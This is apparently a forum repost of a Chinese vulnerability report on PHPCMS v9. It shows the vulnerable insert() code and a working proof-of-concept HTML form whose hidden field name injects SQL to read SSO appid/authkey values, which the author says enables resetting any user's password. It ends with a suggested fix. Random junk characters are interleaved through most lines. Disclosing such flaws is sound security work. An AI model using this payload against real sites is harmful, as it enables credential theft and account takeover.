|
|
简要描述:
/ |4 k4 f! s5 x: r' |1 E+ E
& _5 ]1 W/ |# z第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
9 d5 g* G: `5 ^4 z" S7 T7 [8 _
. J- D* J M. W$ O- g4 e4 t6 ?5 T明天再更新下一个漏洞。
8 G+ w0 q Y; R$ s* k详细说明:. M1 O( B* s9 Y3 G; B
在/phpcms9/phpcms/modules/message/index.php中有代码如下:; k- v+ s* I$ x2 i
5 N1 b* C$ d3 E, `( v$messageid = $this->message_db->insert($_POST['info'],true);
: s8 G! A+ V# z/ c6 b3 {
% [! r7 Q9 `, {/ W/ Y' l9 k0 [* O- f9 N7 g) L8 T' ? q* j' Y
insert方法是key value的,代码如下:
) | e8 Z" z# H3 v$ s. l+ H" K# B: m' p' s) h0 y; F! D( [
public function insert($data, $table, $return_insert_id = false, $replace = false) {
! l8 n$ R- a3 O5 f if(!is_array( $data ) || $table == '' || count($data) == 0) {
* W {/ U j2 }* s return false;
+ G+ u! n; H! n5 c }! { J% r9 I L
; u+ X4 x9 x/ T1 J: j1 Z $fielddata = array_keys($data);
6 \, g) b; ~$ c9 G+ X. @: y4 s $valuedata = array_values($data);
" y9 k9 b/ n! `! O, }7 l* P0 a array_walk($fielddata, array($this, 'add_special_char'));0 C8 B$ C/ F( P2 k" B$ F
array_walk($valuedata, array($this, 'escape_string'));- o, y% e( x/ U2 h0 P) X) S
0 V0 C' g ?& i+ |' k7 D, V1 }5 \; H* z
$field = implode (',', $fielddata);
& x3 [ | X) D, p8 G $value = implode (',', $valuedata);; L% C# o% q* G% s/ M3 @
0 D4 f( M0 N/ `( g $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';$ o9 W2 s1 i7 u$ N3 F( a7 B! e4 r
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';: ?5 b9 F5 O' V2 z) S, a2 v2 o
$return = $this->execute($sql);
: Q3 C! S& @3 Y2 c8 `# M return $return_insert_id ? $this->insert_id() : $return;
z. C! s" ?5 ]5 b3 _8 Z8 } }) T9 K. J+ W! v8 w! o- {
" v' J, ^7 c& u) F' Y* c
! h2 q0 Y" t6 Z9 q2 W; j
嗯,很遗憾的是
9 x# {( F5 [) F* }
" B( B4 X }3 i, Y3 Farray_walk($fielddata, array($this, 'add_special_char')); s2 c- a' ]9 x7 K3 U
+ P5 l9 I) W% T7 `* z3 h4 C
+ v+ c) z1 f/ n# d( P D中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
$ x# @) Y @* _6 T" ]/ w
- h, W+ }( F3 B4 k4 E* \9 p到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。1 j& u' s% s6 a4 U; K, b3 E
, Y; {% F* V& Y# `, W8 T漏洞证明:
! J# I0 E0 l/ y. w读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
2 Y1 Q' |7 e t
9 Z' P% _+ P( t% ]
! a( O0 a* T, L y; \表单如下:用户名什么的得自己改一改。
& _# n+ F d- k: }<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">) F4 S( w0 x: Q S9 C& v
<table width="100%" cellspacing="0" class="table_form">. P+ d. S0 l/ R; y4 L$ M, A2 ]
<tr>" _+ S; R& }# j
<th>标 题:</th>
. _$ u( b% n/ d2 o<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
& F% V# l: H$ M6 E* ]: g' n</tr> 7 e+ G/ F: x: ?* Y
<tr>
' u7 x" O7 o1 m; V/ a' K<th>内 容:</th>
[0 q, ^5 \+ V* O0 }<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
@. Z# P! [$ W1 \% m</tr>, a0 c! ^) M( |; }* U. @
<input type="hidden" name="info[replyid]" value="2" />
- ]1 A. ?+ ~4 C9 E# Z<input type="hidden" name="info[send_to_id]" value="cc" /> 3 i, Q! j: q: B. u
<input type="hidden" name="info[send_from_id]" value="hh">2 { x- i x+ _$ y7 W2 n; l& J: b1 ^
<!-- 漏洞的利用重点在这里开始 -->
2 x3 B1 _5 J* L6 u3 ^2 ]! ?0 s<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> # A3 _; T( D* L- a, J
<!-- 漏洞的利用重点在这里结束 -->
5 ]# B' O2 ?4 j7 x# S) r6 g<tr>9 ~5 N3 s. C$ q k: J
<th>验证码:</th>/ O3 M4 _( B d3 ~: b8 V
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
# X. c* A+ V% y8 V& }</tr>$ u$ ^( S8 b% l9 d. N/ Z f8 \; _
<tr> w; V: f5 V2 e( a
<td></td>
2 ~9 M( g7 E7 o% _<td colspan="2"><label>/ A# X0 O6 M# V8 B. k& |$ Y. r
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
* {7 V; x* k s" r( `- d% S) l9 J</label></td># K+ f4 O0 F$ P- S2 B) Q7 \5 X
</tr>1 G; S; R/ z! ?* n) v0 I
</table>2 j4 g) C/ T, i, m- X
</form>
5 U( D/ {0 ^- A; Z# Q在add_special_char函数内对key做过滤就可以了。
, @$ z# T: T6 h: [8 Y
. A4 h! p* h" A$ m, S, ?
+ }+ S! c$ V4 }- d: w/ B, u+ J+ ?' M& T$ h" `+ d; T
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|